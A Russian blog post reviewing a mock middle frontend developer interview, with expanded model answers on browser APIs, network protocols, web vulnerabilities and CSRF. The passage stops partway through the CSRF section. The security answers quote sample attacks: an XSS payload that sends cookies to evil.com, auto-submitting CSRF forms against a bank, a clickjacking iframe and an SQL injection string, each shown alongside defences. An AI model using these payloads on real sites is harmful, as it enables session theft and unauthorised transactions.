Перейти к основному содержимому

Открытое собеседование Frontend разработчика

· 88 мин. чтения

Сегодня мы разберём живое собеседование на позицию middle frontend-разработчика, проведённое в рамках вебинара менторской платформы H навыки. Интервьюер Дима (опытный fullstack-разработчик с более чем 10-летним стажем) задавал вопросы по ключевым фронтенд-темам: работа браузера, сетевые запросы, безопасность (CORS, CSP, XSS, CSRF), события в DOM, Event Loop, а также предложил практические задачи на остановку всплытия событий и реализацию бесконечного скролла. Кандидат Никита, работающий чуть больше года в Яндекс Облаке, продемонстрировал базовое понимание многих концепций, но с заметными пробелами в глубине знаний и практическом применении — особенно в области сетевого стека, безопасности и асинхронного JavaScript.

Вопрос 1. Чем отличается среда выполнения JavaScript в браузере от Node.js, какие особенности и ограничения есть у браузерной среды?

Таймкод: 00:09:11

Ответ собеседника: Неполный. В браузере выполняется JS на клиенте, а Node.js — на сервере. В браузере есть специфические API, отличающиеся от серверных, например, нет доступа к файловой системе — нельзя создавать, удалять или читать файлы. Упомянул, что могут быть расширения Chrome с доступом к приложениям, но в целом браузер ограничен в доступе ​​файловой системе.

Правильный ответ:

1. Архитектурные различия

Движок JavaScript:

  • Браузер использует V8 (Chrome/Edge), SpiderMonkey (Firefox), JavaScriptCore (Safari)
  • Node.js также использует V8, но с дополнительными модулями на C++

Среда выполнения:

  • Браузер: движок JS + Web API (DOM, BOM, Fetch, Canvas и т.д.)
  • Node.js: движок V8 + libuv + системные модули (fs, http, crypto и т.д.)

2. Ключевые ограничения браузерной среды

Доступ к файловой системе:

  • Прямой доступ к ФС запрещён по соображениям безопасности
  • Работа только через <input type="file"> и File API
  • Исключение: File System Access API (экспериментальный, ограниченная поддержка)

Сетевые ограничения:

  • Same-Origin Policy (SOP) — запросы только к своему домену
  • CORS (Cross-Origin Resource Sharing) — для междоменных запросов
  • Ограничение на количество одновременных соединений (обычно 6-8 на домен)
  • Нет доступа к низкоуровневым сокетам (TCP/UDP)

Доступ к системным ресурсам:

  • Нет доступа к процессам, потокам ОС
  • Нет доступа к переменным окружения
  • Ограниченный доступ к аппаратным средствам (через Web API)

3. Специфические API браузера

DOM и BOM:

// Манипуляция документом
document.getElementById('element');
window.location.href;

// Управление историей
history.pushState({}, '', '/new-url');

Web Storage:

// Локальное хранилище
localStorage.setItem('key', 'value');
sessionStorage.setItem('temp', 'data');

Мультимедиа:

// Работа с камерой и микрофоном
navigator.mediaDevices.getUserMedia({ video: true, audio: true });

// Canvas для графики
const canvas = document.getElementById('canvas');
const ctx = canvas.getContext('2d');

4. Специфические API Node.js

Файловая система:

const fs = require('fs');
const path = require('path');

// Синхронное чтение
const data = fs.readFileSync('/path/to/file', 'utf8');

// Асинхронная запись
fs.writeFile('/path/to/file', 'content', (err) => {
if (err) throw err;
});

Создание серверов:

const http = require('http');

const server = http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('Hello World');
});

server.listen(3000);

5. Модульные системы

Браузер:

  • ES Modules (нативная поддержка)
  • Сборщики (Webpack, Vite, Rollup) для совместимости

Node.js:

  • CommonJS (require/module.exports)
  • ES Modules (с версии 12+, файлы .mjs или "type": "module" в package.json)

6. Глобальные объекты

Браузер:

  • window — глобальный объект
  • document — DOM документа
  • navigator — информация о браузере
  • location — URL страницы

Node.js:

  • global — глобальный объект
  • process — информация о процессе
  • require — функция импорта модулей
  • __filename, __dirname — путь к файлу

7. Безопасность в браузере

Песочница (Sandbox):

  • Код изолирован от операционной системы
  • Ограничение доступа к ресурсам пользователя
  • Content Security Policy (CSP) для предотвращения XSS

Контексты безопасности:

  • HTTPS обязателен для многих API (геолокация, камера)
  • Пользовательское разрешение для чувствительных операций

8. Производительность

Браузер:

  • Однопоточный с Event Loop
  • Web Workers для многопоточности
  • Ограничения по памяти (зависит от устройства)

Node.js:

  • Многопоточность через Worker Threads
  • Кластеризация для масштабирования
  • Больше контроля над памятью и процессами

9. Современные тенденции

Сближение сред:

  • Deno — безопасная среда на базе V8
  • WebContainers — Node.js в браузере
  • WebAssembly — высокопроизводительный код в браузере

Универсальный код:

  • Isomorphic/Universal JavaScript
  • Библиотеки, работающие в обеих средах (axios, lodash)

Вывод: Браузерная среда оптимизирована для интерактивных веб-приложений с жёсткими ограничениями безопасности, тогда как Node.js предоставляет полный доступ к системным ресурсам для серверной разработки. Понимание этих различий критически важно для выбора правильных инструментов и архитектурных решений.

Вопрос 2. Какие способы взаимодействия с бэкендом (сетевые запросы) доступны в браузере?

Таймкод: 00:11:01

Ответ собеседника: Неполный. Ответ не был дан, так как собеседование перешло к следующему вопросу или был прерван.

Правильный ответ:

1. XMLHttpRequest (XHR)

Описание:

  • Самый старый API для HTTP-запросов
  • Работает во всех браузерах
  • Основан на событиях (event-driven)

Пример использования:

const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.example.com/data', true);

xhr.onload = function() {
if (xhr.status === 200) {
const data = JSON.parse(xhr.responseText);
console.log(data);
} else {
console.error('Ошибка:', xhr.status);
}
};

xhr.onerror = function() {
console.error('Ошибка сети');
};

xhr.send();

Преимущества:

  • Поддержка прогресса загрузки
  • Возможность отмены запроса (abort())
  • Работа с различными типами данных

Недостатки:

  • Callback-hell (вложенные колбэки)
  • Сложный API по сравнению с современными альтернативами

2. Fetch API

Описание:

  • Современный Promise-based API
  • Нативная поддержка в современных браузерах
  • Более чистый и понятный синтаксис

Пример использования:

// Простой GET-запрос
fetch('https://api.example.com/data')
.then(response => {
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
return response.json();
})
.then(data => console.log(data))
.catch(error => console.error('Ошибка:', error));

// POST-запрос с данными
fetch('https://api.example.com/users', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
name: 'John Doe',
email: 'john@example.com'
})
})
.then(response => response.json())
.then(data => console.log(data));

Преимущества:

  • Promise-based (async/await совместимость)
  • Поддержка streaming
  • Встроенная обработка CORS

Недостатки:

  • Нет прогресса загрузки (для этого нужен ReadableStream)
  • Нет автоматической отмены (нужен AbortController)

3. Server-Sent Events (SSE)

Описание:

  • Односторонняя связь сервер → клиент
  • Автоматическое переподключение
  • Текстовый формат данных

Пример использования:

const eventSource = new EventSource('https://api.example.com/events');

eventSource.onmessage = function(event) {
const data = JSON.parse(event.data);
console.log('Новое сообщение:', data);
};

eventSource.onerror = function(error) {
console.error('Ошибка SSE:', error);
eventSource.close();
};

// Обработка конкретных событий
eventSource.addEventListener('userUpdate', function(event) {
const userData = JSON.parse(event.data);
updateUserInterface(userData);
});

Преимущества:

  • Автоматическое переподключение
  • Простота реализации
  • Эффективен для односторонних уведомлений

Недостатки:

  • Только текстовые данные
  • Односторонняя связь
  • Ограничения браузера (максимум 6 соединений)

4. WebSockets

Описание:

  • Двусторонняя связь в реальном времени
  • Низкая задержка
  • Поддержка бинарных данных

Пример использования:

const socket = new WebSocket('wss://api.example.com/ws');

socket.onopen = function(event) {
console.log('Соединение установлено');
socket.send(JSON.stringify({ type: 'subscribe', channel: 'updates' }));
};

socket.onmessage = function(event) {
const data = JSON.parse(event.data);
console.log('Получено сообщение:', data);
};

socket.onerror = function(error) {
console.error('Ошибка WebSocket:', error);
};

socket.onclose = function(event) {
console.log('Соединение закрыто', event.code, event.reason);
};

// Отправка данных
function sendMessage(message) {
if (socket.readyState === WebSocket.OPEN) {
socket.send(JSON.stringify(message));
}
}

Преимущества:

  • Двусторонняя связь
  • Низкая задержка
  • Поддержка бинарных данных
  • Эффективное использование ресурсов

Недостатки:

  • Сложнее в реализации
  • Нет автоматического переподключения
  • Требует специальной серверной поддержки

5. Beacon API

Описание:

  • Для отправки данных при закрытии страницы
  • Гарантированная доставка
  • Не блокирует закрытие страницы

Пример использования:

// Отправка аналитики при закрытии страницы
window.addEventListener('beforeunload', function() {
const data = {
page: window.location.href,
timeSpent: Date.now() - pageLoadTime,
userId: getUserId()
};

navigator.sendBeacon('/analytics', JSON.stringify(data));
});

// Отправка данных без ожидания ответа
navigator.sendBeacon('/log', JSON.stringify({ event: 'page_close' }));

Преимущества:

  • Гарантированная доставка
  • Не блокирует UI
  • Простой API

Недостатки:

  • Только POST-запросы
  • Нет ответа от сервера
  • Ограниченный размер данных

6. WebRTC Data Channels

Описание:

  • P2P соединение между браузерами
  • Низкая задержка
  • Обход сервера

Пример использования:

const peerConnection = new RTCPeerConnection();
const dataChannel = peerConnection.createDataChannel('chat');

dataChannel.onopen = function() {
dataChannel.send('Привет!');
};

dataChannel.onmessage = function(event) {
console.log('Получено:', event.data);
};

7. Сравнительная таблица

МетодНаправлениеРеальное времяСложностьИспользование
XHRДвустороннееНетСредняяLegacy код
FetchДвустороннееНетНизкаяСовременные приложения
SSEСервер → КлиентДаНизкаяУведомления
WebSocketДвустороннееДаВысокаяЧаты, игры
BeaconКлиент → СерверНетНизкаяАналитика

8. Рекомендации по выбору

Для REST API:

  • Fetch API для новых проектов
  • XHR для поддержки старых браузеров

Для реального времени:

  • WebSocket для чатов и интерактивных приложений
  • SSE для уведомлений и потоков данных

Для аналитики:

  • Beacon API для отправки данных при закрытии страницы

Выбор зависит от:

  • Требований к реальному времени
  • Необходимости двусторонней связи
  • Поддержки целевых браузеров
  • Сложности реализации

Вопрос 3. Какими способами можно отправить HTTP-запрос на сервер из браузера?

Таймкод: 00:11:08

Ответ собеседника: Неполный. Упомянуты: fetch, отправка HTML-форм через submit, переход по ссылке. Не упомянуты: XMLHttpRequest, WebSocket, SSE, теги script/link/iframe с загрузкой ресурсов.

Правильный ответ:

1. JavaScript API для программного управления

Fetch API (современный стандарт):

// GET-запрос
fetch('https://api.example.com/data')
.then(response => response.json())
.then(data => console.log(data));

// POST-запрос с данными
fetch('https://api.example.com/users', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ name: 'John', age: 30 })
});

XMLHttpRequest (legacy):

const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.example.com/data', true);
xhr.onload = function() {
console.log(JSON.parse(xhr.responseText));
};
xhr.send();

Axios и другие библиотеки:

// Axios предоставляет более удобный API
axios.get('https://api.example.com/data')
.then(response => console.log(response.data));

axios.post('https://api.example.com/users', { name: 'John' });

2. HTML-формы

Стандартная отправка формы:

<form action="/submit" method="POST">
<input type="text" name="username" />
<input type="password" name="password" />
<button type="submit">Отправить</button>
</form>

Форма с файлами:

<form action="/upload" method="POST" enctype="multipart/form-data">
<input type="file" name="avatar" />
<button type="submit">Загрузить</button>
</form>

JavaScript управление формой:

const form = document.querySelector('form');
form.addEventListener('submit', function(e) {
e.preventDefault(); // Предотвращаем стандартную отправку

const formData = new FormData(form);
fetch(form.action, {
method: form.method,
body: formData
});
});

3. Навигация и ссылки

Переход по ссылке (GET-запрос):

<a href="/page/123">Перейти к странице</a>
<a href="/search?q=javascript">Поиск</a>

Программная навигация:

// Переход на новую страницу
window.location.href = '/new-page';

// Замена текущей страницы в истории
window.location.replace('/new-page');

// Перезагрузка страницы
window.location.reload();

4. Загрузка ресурсов через HTML-теги

Изображения:

<img src="/api/image/123" alt="Аватар" />
<picture>
<source srcset="/api/image/123.webp" type="image/webp">
<img src="/api/image/123.jpg" alt="Фото">
</picture>

Скрипты:

<script src="/api/config.js"></script>
<script src="https://cdn.example.com/library.js"></script>

CSS стили:

<link rel="stylesheet" href="/api/theme/dark.css" />
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto" />

Iframe:

<iframe src="/embed/content/123" width="600" height="400"></iframe>

Видео и аудио:

<video src="/api/video/123.mp4" controls></video>
<audio src="/api/audio/123.mp3" controls></audio>

5. WebSocket (двусторонняя связь)

Установка соединения:

const socket = new WebSocket('wss://api.example.com/ws');

socket.onopen = function() {
// Отправка данных сразу после подключения
socket.send(JSON.stringify({ action: 'subscribe', channel: 'news' }));
};

// Отправка данных в любое время
function sendMessage(data) {
if (socket.readyState === WebSocket.OPEN) {
socket.send(JSON.stringify(data));
}
}

6. Server-Sent Events (SSE)

Подключение к потоку:

const eventSource = new EventSource('/api/live-updates');

eventSource.onmessage = function(event) {
const data = JSON.parse(event.data);
console.log('Обновление:', data);
};

// Отправка данных через отдельный запрос
function sendData(data) {
fetch('/api/update', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
});
}

7. Beacon API (фоновые запросы)

Отправка данных при закрытии страницы:

window.addEventListener('unload', function() {
const analytics = {
page: window.location.pathname,
timeSpent: Date.now() - pageLoadTime,
clicks: clickCount
};

navigator.sendBeacon('/analytics', JSON.stringify(analytics));
});

8. Специальные методы

Prefetch и preload:

<!-- Предзагрузка ресурсов -->
<link rel="prefetch" href="/api/data/next-page" />
<link rel="preload" href="/api/critical-data.json" as="fetch" />

<!-- DNS prefetch -->
<link rel="dns-prefetch" href="//api.example.com" />

Service Worker кэширование:

self.addEventListener('fetch', function(event) {
if (event.request.url.includes('/api/')) {
event.respondWith(
caches.match(event.request)
.then(response => response || fetch(event.request))
);
}
});

9. Сравнение методов

МетодТип запросаОтветБлокирует UIИспользование
Fetch APIЛюбойPromiseНетREST API, AJAX
XMLHttpRequestЛюбойCallbackНетLegacy код
HTML-формаGET/POSTСтраницаДаТрадиционная отправка
СсылкаGETСтраницаДаНавигация
Теги ресурсовGETРесурсНетЗагрузка контента
WebSocketДвустороннийStreamНетРеальное время
BeaconPOSTНетНетАналитика

10. Рекомендации по выбору

Для интерактивных приложений:

  • Fetch API или Axios для AJAX-запросов
  • WebSocket для реального времени

Для традиционных форм:

  • HTML-формы с JavaScript-обработкой
  • FormData API для программного управления

Для аналитики и мониторинга:

  • Beacon API для фоновой отправки
  • Fetch с keepalive для важных данных

Для загрузки ресурсов:

  • Стандартные HTML-теги для контента
  • Предзагрузка для оптимизации производительности

Вывод: Браузер предоставляет множество способов отправки HTTP-запросов, от традиционных HTML-форм до современных JavaScript API. Выбор метода зависит от типа данных, требований к пользовательскому опыту и необходимости обработки ответа.

Вопрос 4. Какие способы взаимодействия с сервером существуют помимо HTTP-протокола?

Таймкод: 00:13:52

Ответ собеседника: Неполный. Упомянут бинарный протокол gRPC, но с оговоркой, что он поверх HTTP/2 и из коробки в браузере работать не будет. Не упомянуты WebSocket, Server-Sent Events (SSE), WebRTC.

Правильный ответ:

1. WebSocket Protocol

Описание:

  • Полнодуплексный протокол поверх TCP
  • Единичное TCP-соединение для двусторонней связи
  • Низкие накладные расходы после установки соединения

Пример использования:

// Установка WebSocket соединения
const socket = new WebSocket('wss://api.example.com/ws');

// Обработка входящих сообщений
socket.onmessage = function(event) {
const data = JSON.parse(event.data);
console.log('Получено:', data);
};

// Отправка данных
socket.send(JSON.stringify({ type: 'chat', message: 'Привет!' }));

// Закрытие соединения
socket.close(1000, 'Normal closure');

Преимущества:

  • Минимальная задержка
  • Эффективное использование ресурсов
  • Поддержка бинарных и текстовых данных

Использование:

  • Чаты и мессенджеры
  • Онлайн игры
  • Торговые платформы
  • Совместное редактирование документов

2. Server-Sent Events (SSE)

Описание:

  • Однонаправленный поток данных от сервера к клиенту
  • Использует HTTP/1.1 с Content-Type: text/event-stream
  • Автоматическое переподключение

Пример использования:

// Подключение к потоку событий
const eventSource = new EventSource('/api/notifications');

// Обработка стандартных сообщений
eventSource.onmessage = function(event) {
const notification = JSON.parse(event.data);
showNotification(notification);
};

// Обработка именованных событий
eventSource.addEventListener('priceUpdate', function(event) {
const price = JSON.parse(event.data);
updatePriceDisplay(price);
});

// Обработка ошибок
eventSource.onerror = function() {
console.log('Соединение потеряно, переподключение...');
};

Формат данных на сервере:

data: {"message": "Новое уведомление"}

event: userLogin
data: {"userId": 123, "timestamp": "2024-01-01T12:00:00Z"}

retry: 10000
data: Автоматическое переподключение через 10 секунд

Преимущества:

  • Простота реализации
  • Автоматическое переподключение
  • Текстовый формат данных

Использование:

  • Ленты новостей
  • Уведомления в реальном времени
  • Мониторинг систем
  • Курсы валют и акций

3. WebRTC (Web Real-Time Communication)

Описание:

  • P2P соединение между браузерами
  • Поддержка аудио, видео и данных
  • Использует ICE, STUN, TURN для NAT traversal

Пример использования:

// Создание P2P соединения
const peerConnection = new RTCPeerConnection({
iceServers: [
{ urls: 'stun:stun.l.google.com:19302' },
{ urls: 'turn:turn.example.com', username: 'user', credential: 'pass' }
]
});

// Создание канала данных
const dataChannel = peerConnection.createDataChannel('chat');
dataChannel.onmessage = event => console.log('Получено:', event.data);
dataChannel.onopen = () => dataChannel.send('Привет!');

// Обработка ICE кандидатов
peerConnection.onicecandidate = event => {
if (event.candidate) {
// Отправка кандидата другому пиру через сигнальный сервер
signalingServer.send({ type: 'ice-candidate', candidate: event.candidate });
}
};

// Создание предложения
async function createOffer() {
const offer = await peerConnection.createOffer();
await peerConnection.setLocalDescription(offer);
signalingServer.send({ type: 'offer', offer: offer });
}

Архитектура соединения:

Клиент A ←→ Сигнальный сервер ←→ Клиент B
↕ ↕
STUN/TURN серверы STUN/TURN серверы
↕ ↕
└─────────── P2P соединение ─────┘

Преимущества:

  • Минимальная задержка
  • Обход сервера для данных
  • Поддержка мультимедиа

Использование:

  • Видеоконференции
  • Файлообмен P2P
  • Онлайн игры
  • Удалённый рабочий стол

4. gRPC-Web

Описание:

  • Адаптация gRPC для браузеров
  • Использует HTTP/2
  • Бинарный протокол Protocol Buffers

Пример proto файла:

syntax = "proto3";

service UserService {
rpc GetUser (UserRequest) returns (UserResponse);
rpc StreamUsers (Empty) returns (stream UserResponse);
}

message UserRequest {
int32 user_id = 1;
}

message UserResponse {
int32 id = 1;
string name = 2;
string email = 3;
}

message Empty {}

Использование в браузере:

import { UserServiceClient } from './user_service_pb';

const client = new UserServiceClient('https://api.example.com');

// Unary вызов
const request = new UserRequest();
request.setUserId(123);

client.getUser(request, {}, (err, response) => {
if (err) {
console.error('Ошибка:', err);
} else {
console.log('Пользователь:', response.getName());
}
});

// Server streaming
const stream = client.streamUsers(new Empty(), {});
stream.on('data', response => {
console.log('Новый пользователь:', response.getName());
});

Преимущества:

  • Высокая производительность
  • Типизированные контракты
  • Поддержка потоковой передачи

Ограничения:

  • Требует прокси (Envoy) для конвертации
  • Ограниченная поддержка браузерами

5. MQTT over WebSocket

Описание:

  • Лёгкий протокол обмена сообщениями
  • Publish/Subscribe модель
  • Работает поверх WebSocket

Пример использования:

import mqtt from 'mqtt';

// Подключение к MQTT брокеру через WebSocket
const client = mqtt.connect('wss://mqtt.example.com:8083/mqtt');

client.on('connect', function() {
console.log('Подключено к MQTT брокеру');

// Подписка на топики
client.subscribe('sensors/temperature');
client.subscribe('sensors/humidity');

// Публикация сообщений
client.publish('sensors/status', 'online');
});

client.on('message', function(topic, message) {
const data = JSON.parse(message.toString());
console.log(`Получено из ${topic}:`, data);
});

Преимущества:

  • Минимальный overhead
  • Поддержка QoS уровней
  • Работа при нестабильном соединении

Использование:

  • IoT устройства
  • Мониторинг в реальном времени
  • Мобильные приложения

6. GraphQL Subscriptions

Описание:

  • Подписки на изменения данных
  • Обычно работают поверх WebSocket
  • Типизированные запросы

Пример использования:

import { WebSocketLink } from '@apollo/client/link/ws';
import { gql } from '@apollo/client';

const wsLink = new WebSocketLink({
uri: 'wss://api.example.com/graphql',
options: {
reconnect: true,
connectionParams: {
authToken: localStorage.getItem('token'),
},
},
});

// Подписка на изменения
const SUBSCRIPTION = gql`
subscription OnNewMessage($channelId: ID!) {
messageAdded(channelId: $channelId) {
id
text
author {
name
}
createdAt
}
}
`;

// Использование в компоненте
const { data, loading } = useSubscription(SUBSCRIPTION, {
variables: { channelId: '123' }
});

7. Сравнение протоколов

ПротоколТипНаправлениеЗадержкаСложностьИспользование
WebSocketTCPДвустороннееОчень низкаяСредняяЧаты, игры
SSEHTTPСервер→КлиентНизкаяНизкаяУведомления
WebRTCUDP/TCPP2PМинимальнаяВысокаяВидео, P2P
gRPC-WebHTTP/2ДвустороннееНизкаяВысокаяМикросервисы
MQTTTCPPub/SubНизкаяСредняяIoT

8. Рекомендации по выбору

Для реального времени:

  • WebSocket для двусторонней связи
  • SSE для однонаправленных потоков
  • WebRTC для P2P соединений

Для микросервисов:

  • gRPC-Web для типизированных API
  • GraphQL для гибких запросов

Для IoT и мобильных:

  • MQTT для лёгкого обмена сообщениями
  • WebSocket для веб-интерфейсов

Вывод: Современные браузеры поддерживают множество протоколов для взаимодействия с сервером, каждый из которых оптимизирован для конкретных сценариев. Выбор протокола зависит от требований к задержке, типу данных и архитектуре приложения.

Вопрос 5. Какие основные веб-уязвимости существуют в браузере и как от них защищаться?

Таймкод: 00:15:53

Ответ собеседника: Неполный. Упомянуты CORS (защита от запросов с другого origin) и XSS (межсайтовый скриптинг). Защита от XSS описана частично: валидация ввода, экранирование, короткое время жизни токенов. Не упомянуты: Content Security Policy (CSP), флаги HttpOnly и Secure для куки, CSRF-токены, а также другие уязвимости типа SQL-инъекций, CSRF и т.д.

Правильный ответ:

1. XSS (Cross-Site Scripting)

Типы XSS:

Stored XSS (хранимый):

// Злоумышленник сохраняет скрипт в БД
// Комментарий: <script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

// Защита: экранирование при выводе
function escapeHtml(text) {
const div = document.createElement('div');
div.textContent = text;
return div.innerHTML;
}

// Использование
element.innerHTML = escapeHtml(userInput);

Reflected XSS (отражённый):

// URL: https://site.com/search?q=<script>alert('XSS')</script>
// Страница выводит: "Результаты поиска: <script>alert('XSS')</script>"

// Защита: валидация и экранирование
const searchParams = new URLSearchParams(window.location.search);
const query = sanitizeInput(searchParams.get('q'));

function sanitizeInput(input) {
return input.replace(/[<>&"']/g, function(match) {
const escape = {
'<': '&lt;',
'>': '&gt;',
'&': '&amp;',
'"': '&quot;',
"'": '&#x27;'
};
return escape[match];
});
}

DOM-based XSS:

// Уязвимый код
const hash = window.location.hash.slice(1);
document.write('Вы искали: ' + hash);

// Защита: безопасные методы DOM
const hash = window.location.hash.slice(1);
const output = document.getElementById('output');
output.textContent = 'Вы искали: ' + hash; // textContent безопасен

Комплексная защита от XSS:

Content Security Policy (CSP):

<!-- Заголовок HTTP -->
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-random123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';

<!-- Meta тег -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' 'nonce-random123'">

HttpOnly и Secure куки:

// Сервер должен устанавливать куки с флагами
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Path=/

// JavaScript не сможет прочитать такую куку
console.log(document.cookie); // sessionId не будет виден

2. CSRF (Cross-Site Request Forgery)

Атака:

<!-- На сайте злоумышленника -->
<img src="https://bank.com/transfer?to=attacker&amount=1000" />
<!-- или -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="1000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>

Защита CSRF-токенами:

// Генерация токена на сервере
const csrfToken = generateSecureToken();
req.session.csrfToken = csrfToken;

// Отправка с каждым запросом
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
body: JSON.stringify({ to: 'user123', amount: 100 })
});

// Проверка на сервере
function validateCSRF(req, res, next) {
const token = req.headers['x-csrf-token'] || req.body._csrf;
if (token !== req.session.csrfToken) {
return res.status(403).json({ error: 'Invalid CSRF token' });
}
next();
}

SameSite куки:

// Strict - куки не отправляются с кросс-доменными запросами
Set-Cookie: session=abc123; SameSite=Strict

// Lax - куки отправляются только с GET запросами верхнего уровня
Set-Cookie: session=abc123; SameSite=Lax

// None - куки всегда отправляются (требует Secure)
Set-Cookie: session=abc123; SameSite=None; Secure

3. Clickjacking (UI Redressing)

Атака:

<!-- Злоумышленник создаёт iframe с прозрачным оверлеем -->
<iframe src="https://bank.com/transfer"
style="opacity: 0; position: absolute; top: 0; left: 0; width: 100%; height: 100%;">
</iframe>
<button style="position: absolute; top: 100px; left: 100px;">Нажми для приза!</button>

Защита:

<!-- Заголовок HTTP -->
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN

<!-- Современный способ через CSP -->
Content-Security-Policy: frame-ancestors 'none'
Content-Security-Policy: frame-ancestors 'self' https://trusted.com

4. SQL-инъекции (косвенно через браузер)

Атака через пользовательский ввод:

// Злоумышленник вводит: ' OR '1'='1' --
const username = "' OR '1'='1' --";
const query = `SELECT * FROM users WHERE username = '${username}'`;
// Результат: SELECT * FROM users WHERE username = '' OR '1'='1' --'

Защита на стороне клиента:

// Валидация ввода
function validateUsername(username) {
const pattern = /^[a-zA-Z0-9_]{3,20}$/;
return pattern.test(username);
}

// Параметризованные запросы (на сервере)
// Используйте ORM или параметризованные запросы
const result = await db.query(
'SELECT * FROM users WHERE username = $1',
[username]
);

5. Инъекция зависимостей (Dependency Injection)

Уязвимые пакеты:

// package.json с уязвимой зависимостью
{
"dependencies": {
"lodash": "4.17.15" // Уязвимая версия
}
}

Защита:

# Аудит зависимостей
npm audit
npm audit fix

# Использование безопасных альтернатив
npm install lodash@latest

6. Утечка данных через браузерные API

Утечка через Referer:

<!-- Проблема: полный URL передаётся в Referer -->
<a href="https://external.com">Внешняя ссылка</a>

<!-- Решение: контроль Referer -->
<meta name="referrer" content="strict-origin-when-cross-origin">

<!-- Или через атрибут -->
<a href="https://external.com" rel="noreferrer">Безопасная ссылка</a>

Утечка через localStorage:

// Проблема: данные доступны любому скрипту
localStorage.setItem('userToken', 'secret-token');

// Решение: шифрование чувствительных данных
const encryptedToken = encrypt(token, encryptionKey);
sessionStorage.setItem('userToken', encryptedToken); // sessionStorage безопаснее

7. Атаки на сессии

Session Fixation:

// Атакующий устанавливает ID сессии
// https://site.com/login?sessionid=attacker_session_id

// Защита: регенерация ID после авторизации
req.session.regenerate((err) => {
req.session.userId = authenticatedUser.id;
});

Session Hijacking:

// Защита: привязка сессии к IP и User-Agent
function validateSession(req) {
if (req.session.ip !== req.ip ||
req.session.userAgent !== req.headers['user-agent']) {
req.session.destroy();
return false;
}
return true;
}

8. Комплексная защита HTTP-заголовков

Security Headers:

// Express.js middleware
app.use((req, res, next) => {
// Предотвращает MIME type sniffing
res.setHeader('X-Content-Type-Options', 'nosniff');

// Включает XSS фильтр браузера
res.setHeader('X-XSS-Protection', '1; mode=block');

// Контроль информации о реферере
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

// Ограничение доступа к API браузера
res.setHeader('Permissions-Policy',
'camera=(), microphone=(), geolocation=(self)');

next();
});

9. Безопасная работа с файлами

Загрузка файлов:

// Валидация на клиенте
function validateFile(file) {
const allowedTypes = ['image/jpeg', 'image/png', 'application/pdf'];
const maxSize = 5 * 1024 * 1024; // 5MB

if (!allowedTypes.includes(file.type)) {
throw new Error('Недопустимый тип файла');
}

if (file.size > maxSize) {
throw new Error('Файл слишком большой');
}

return true;
}

// Безопасное отображение
function displayFile(file) {
if (file.type.startsWith('image/')) {
const url = URL.createObjectURL(file);
const img = document.createElement('img');
img.src = url;
img.onload = () => URL.revokeObjectURL(url);
document.body.appendChild(img);
}
}

10. Мониторинг и логирование

CSP Violation Reports:

// Настройка CSP с отчётами
Content-Security-Policy:
default-src 'self';
report-uri /csp-violation-report;

// Обработка отчётов на сервере
app.post('/csp-violation-report', (req, res) => {
const violation = req.body['csp-report'];
console.error('CSP Violation:', {
documentURI: violation['document-uri'],
blockedURI: violation['blocked-uri'],
violatedDirective: violation['violated-directive'],
sourceFile: violation['source-file'],
lineNumber: violation['line-number']
});
res.status(204).send();
});

Вывод: Безопасность веб-приложений требует многоуровневого подхода: от правильной настройки HTTP-заголовков до безопасного кодирования на клиенте и сервере. Регулярный аудит безопасности, обновление зависимостей и мониторинг инцидентов являются критически важными для защиты пользователей и данных.

Вопрос 6. Что такое CSRF и как от него защищаться?

Таймкод: 00:21:50

Ответ собеседника: Неполный. Кандидат не самостоятельно вспомнил, что такое CSRF. После подсказки предположил, что это связано с автоматической отправкой куки при сабмите форм. Упомянул, что CORS может помочь, но не назвал CSRF-токены как основной механизм защиты.

Правильный ответ:

1. Что такое CSRF (Cross-Site Request Forgery)

Определение: CSRF — это тип атаки, при которой злоумышленник заставляет браузер авторизованного пользователя выполнить нежелательные действия на уязвимом сайте, используя автоматическую отправку кук и сессионных данных.

Механизм атаки:

1. Пользователь авторизуется на bank.com (получает cookie)
2. Пользователь посещает сайт злоумышленника evil.com
3. evil.com отправляет запрос на bank.com от имени пользователя
4. Браузер автоматически прикрепляет куки bank.com
5. Сервер bank.com выполняет запрос, считая его легитимным

Пример атаки:

<!-- Страница на evil.com -->
<html>
<body>
<h1>Поздравляем! Вы выиграли iPhone!</h1>
<!-- Скрытая форма для атаки -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker_account" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="currency" value="USD" />
</form>

<script>
// Автоматическая отправка формы
document.getElementById('csrf-form').submit();
</script>

<!-- Или через изображение -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" width="0" height="0" />
</body>
</html>

2. Почему CORS не защищает от CSRF

CORS (Cross-Origin Resource Sharing):

  • Контролирует чтение ответов с другого домена
  • Не предотвращает отправку запросов
  • Preflight запросы обходятся простыми методами (GET, POST с form data)

Пример обхода CORS:

// Запрос отправится даже с ограничениями CORS
const form = document.createElement('form');
form.method = 'POST';
form.action = 'https://api.example.com/data';

const input = document.createElement('input');
input.type = 'hidden';
input.name = 'data';
input.value = 'malicious data';

form.appendChild(input);
document.body.appendChild(form);
form.submit();

3. Основные методы защиты от CSRF

CSRF-токены (Synchronizer Token Pattern):

Генерация токена на сервере:

// Express.js пример
const crypto = require('crypto');

